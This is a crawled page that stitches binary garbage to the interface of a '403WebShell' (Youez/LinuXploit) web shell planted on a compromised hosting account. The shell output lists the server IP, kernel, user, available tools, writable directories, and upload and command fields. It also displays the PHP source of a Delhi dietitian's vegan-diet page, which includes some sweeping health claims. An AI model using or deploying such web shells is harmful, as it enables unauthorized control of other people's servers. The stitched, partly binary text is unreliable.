�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 216.10.251.64  /  Your IP : 216.73.216.6
Web Server : Apache
System : Linux server.webkartdigital.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : digit2pk ( 1003)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/digit2pk/public_html/thehealthmantra.co.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/digit2pk/public_html/thehealthmantra.co.in/vegan-diet.php
<!DOCTYPE html>
<html lang="en">


<head>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <title>The Health Mantra - By Iqbal Kaur</title>
   <!-- Favicon Icon -->
   <link rel="shortcut icon" href="images/favicon.ico">
   <!-- Bootstrap CSS -->
   <link rel="stylesheet" href="css/bootstrap.min.css">
   <!-- simplebar CSS -->
   <link rel="stylesheet" href="css/simplebar.min.css">
   <!-- Icons CSS -->
   <link rel="stylesheet" href="fonts/font-awesome/css/all.min.css">
   <link rel="stylesheet" href="fonts/themify-icons/themify-icons.css">
   <link rel="stylesheet" href="fonts/ionicons/ionicons.min.css">
   <!-- Animation CSS -->
   <link rel="stylesheet" href="css/animations.min.css">
   <!--  Style CSS -->
   <link rel="stylesheet" href="css/style.css">
   <!--  Responsive CSS -->
   <link rel="stylesheet" href="css/responsive.css">
</head>

<body>

   <!--Loading-->
   <div id="pq-loading">
      <div id="pq-loading-center">
         <img src="images/header-logo/logo.png" alt="loading">
      </div>
   </div>
   <!--Loading-->

   <style>
      .pq-breadcrumb{

         padding: 45px 0 !important;
      }
      section{
         padding: 30px 0;
      }
   </style>
   <!-- <header-start> -->
    <?php include "include/header.php" ?>
   <!-- <header-end> -->
   <!--=================================
         Banner start-->


   <?php include "include/qcontact.php" ?>
   <!--=================================
         Banner end-->
   <!-- <Balance Body & Mind-service-start> -->
   <section>
      <div class="container">
         <div class="row">
       
            <div class="col-lg-8">
          
               <h4 class="pq-service-tittle">Dietitian for Vegan in Delhi</h4>
               <p class="">Veganism, a plant-based dietary approach, has gained considerable popularity for its potential to enhance health, promote weight loss, and reduce the risk of various diseases. A vegan diet eliminates all animal products, including meat, fish, eggs, dairy, and honey.
</p>
<p>Transitioning to a complete vegan diet often leaves individuals uncertain about how to obtain essential nourishment. The The Health Mantra Team offers meticulously planned vegan diets that not only fuel peak fitness levels but also mitigate the risk of chronic diseases.</p>
             
               <p><b>Plant-Based Protein Sources</b></p>
               <p>Vegan diets offer numerous affordable plant-based protein options such as beans, chickpeas, lentils, tofu, tempeh, and soy, ensuring adequate protein intake without animal products.</p>

               <p><b>Benefits of a Vegan Diet</b></p>
               <ul>
                <li>Regulates blood sugar levels, hypertension, and cholesterol.</li>
                <li>Reduces bacterial infection risks.</li>
                <li>Rich in fiber, promoting digestive health.</li>
                <li>Environmentally sustainable.</li>
                <li>Reduces oxidative stress and inflammation.</li>
                <li>Lowers the risk of cancer.</li>
               </ul>
        
             
               <p>While plants can provide many nutrients, some may take longer to absorb in the body. Vegans might face potential deficiencies in vitamin B12, vitamin D, long-chain omega-3s, iodine, iron, calcium, and zinc.</p>
               <p><b>To counter these deficiencies:</b></p>

               <ul>
                <li>Engage in daily exercise.</li>
                <li>Ensure hydration with over eight glasses of water daily.</li>
                <li>Regular exposure to sunlight.</li>
                <li>Include fermented and sprouted foods to enhance iron and zinc absorption.</li>
                <li>Consume fortified foods enriched with vitamin B12, vitamin D, and calcium.</li>
                <li>Consider cooking in iron cast pots.</li>
                <li>Introduce multivitamins, vitamin B12, and vitamin D supplements.</li>
               </ul>

               <p><b>Sample Vegan Meal Plan</b></p>

               <ul>
                <li><b>Early Morning:</b> Soaked nuts and raisins.</li>
                <li><b>Breakfast:</b> Rolled oats with berries, chia and flax seeds, and coconut milk.</li>
                <li><b>Lunch:   </b> Quinoa chickpea salad with coconut yogurt and mixed salads.</li>
                <li><b>Evening:</b> Almond milk coffee with roasted makhana (fox nuts) and a tablespoon of mixed seeds.</li>
                <li><b>Dinner: </b> Baked tofu with sautéed vegetables.</li>
               </ul>




            
            </div>
            <div class="col-lg-4">
               <div class="service-type service-port">
                  <div class="menu-service-menu-container" >
                     <ul class="menu" style="max-height: 600px ; overflow: scroll;">
                <li><a href="weight-loss.php">Diet For Weight loss</a></li>
<li><a href="weight-gain.php">Diet For Weight Gain</a></li>
<li><a href="diet-for-diabetes.php">Diet For Diabetes</a></li>
<li><a href="post-pre-pregnancy.php">Diet For Pregnancy & Lactation</a></li>
<li><a href="pcos-management.php">Diet Plan For PCOS/PCOD</a></li>
<li><a href="thyroid-management.php">Diet Plan For Thyroid</a></li>
<li><a href="diet-for-kids.php">Child/ Pediatric Nutrition Diet Plan</a></li>
<li><a href="gym-diet.php">Gym Diet</a></li>
<li><a href="vegan-diet.php">Vegan Diet</a></li>
<li><a href="menopause.php">Diet For Menopause</a></li>
<li><a href="hairfall-reduction.php">Hair Fall & Diet</a></li>
<li><a href="gluten-free-diet.php">Gluten Free Diet</a></li>
<li><a href="fatty-liver.php">Fatty Liver Diet</a></li>
<li><a href="cholesterol.php">Cholesterol Plan</a></li>
<li><a href="high-uric-acid-diet.php">High Uric Acid Diet</a></li>
<li><a href="renal-kidney-disease-management.php">Kidney Disorder Plan</a></li>
<li><a href="detox-diet.php">Detox Diet</a></li>
<li><a href="autoimmune-disorder.php">Auto Immune Disorder</a></li>
<li><a href="glowing-skin.php">Glowing Skin</a></li>

                     </ul>
                  </div>
               </div>
             
         
            </div>
         </div>
      </div>
   </section>
   <!-- <Balance Body & Mind-service-end> -->
   <!-- <footer-start> -->
 <?php include "include/footer.php" ?>
   <!-- <footer-end> -->
   <!--Back To Top start-->
   <div id="back-to-top">
      <div class="top" id="top">
         <a id="pq-back-to-top" href="#" class="on">
            <span class="pq-icon-up">
               <i class="ion-ios-arrow-up"></i> </span>
            <span class="pq-icon-up pq-icon-up-hover">
               <i class="ion-ios-arrow-up"></i> </span>
         </a>
      </div>
   </div>
   <!--Back To Top End-->
   <!--jquery js-->
   <script src="js/jquery.min.js"></script>
   <!--bootstrap js-->
   <script src="js/bootstrap.min.js"></script>
   <!--owl-carousal-->
   <script src="js/owl.carousel.min.js"></script>
   <!--progress-bar js-->
   <script src="js/progressbar.js"></script>
   <!-- Simplebar js -->
   <script src="js/simplebar.min.js"></script>
   <!-- wow js -->
   <script src="js/wow.min.js"></script>
   <!--countTo js-->
   <script src="js/jquery.countTo.min.js"></script>
   <!--Maginfic-Popup js-->
   <script src="js/jquery.magnific-popup.min.js"></script>
   <!--custom js-->
   <script src="js/custom.js"></script>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit